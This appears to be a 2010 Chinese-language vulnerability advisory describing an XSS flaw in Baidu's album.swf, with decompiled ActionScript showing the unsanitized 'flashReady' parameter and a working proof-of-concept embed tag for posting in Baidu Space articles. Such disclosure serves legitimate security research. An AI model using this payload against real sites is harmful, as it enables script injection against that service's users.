Author: pz
Blog: http://hi.baidu.com/p__z
Team: http://www.80vul.com
Date: 2010年5月15日
一 综述
http://hi.baidu.com/static/album/album.swf是百度推出的动感影集业务的主flash文件.对album.swf反编译后发现,该as脚本存在漏洞,可以导致xss.
二 分析
http://hi.baidu.com/static/album/album.swf
album.swf->Album
var _loc_1:* = loaderInfo.parameters; //取得传入flash的参数
if (_loc_1.hasOwnProperty("preview")) //如果存在参数preview
{
Constants.PreView = _loc_1["preview"];
if (_loc_1.hasOwnProperty("flashReady")) //如果存在参数flashReady
{
Constants.FuncFlashReady = _loc_1["flashReady"]; //把flashReady的值赋给Constants.FuncFlashReady
}
…
}
return;
….
if (Constants.PreView)
{
ExternalInterface.addCallback("musicResume", this.musicResume);
ExternalInterface.addCallback("musicPause", this.musicPause);
ExternalInterface.addCallback("musicRestart", this.musicRestart);
ExternalInterface.call(Constants.FuncFlashReady, ExternalInterface.objectID); //调用与JS通信的API,执行以Constants.FuncFlashReady为函数名的函数
}
…
百度空间发文章处,虽然hi.baidu.com未在视频的白名单上,但直接插入<embed width="480" height="360" wmode="window" type="application/x-shockwave-flash" style="width: 480px; height: 360px;" src="http://hi.baidu.com/static/album/album.swf?preview=true&flashReady=alert%282%29"/>发布文章,造成XSS.
三 利用
POC : <embed width="480" height="360" wmode="window" type="application/x-shockwave-flash" style="width: 480px; height: 360px;" src="http://hi.baidu.com/static/album/album.swf?preview=true&flashReady=alert%282%29"/>
四 补丁[fix]
等待官方补丁
0 条评论。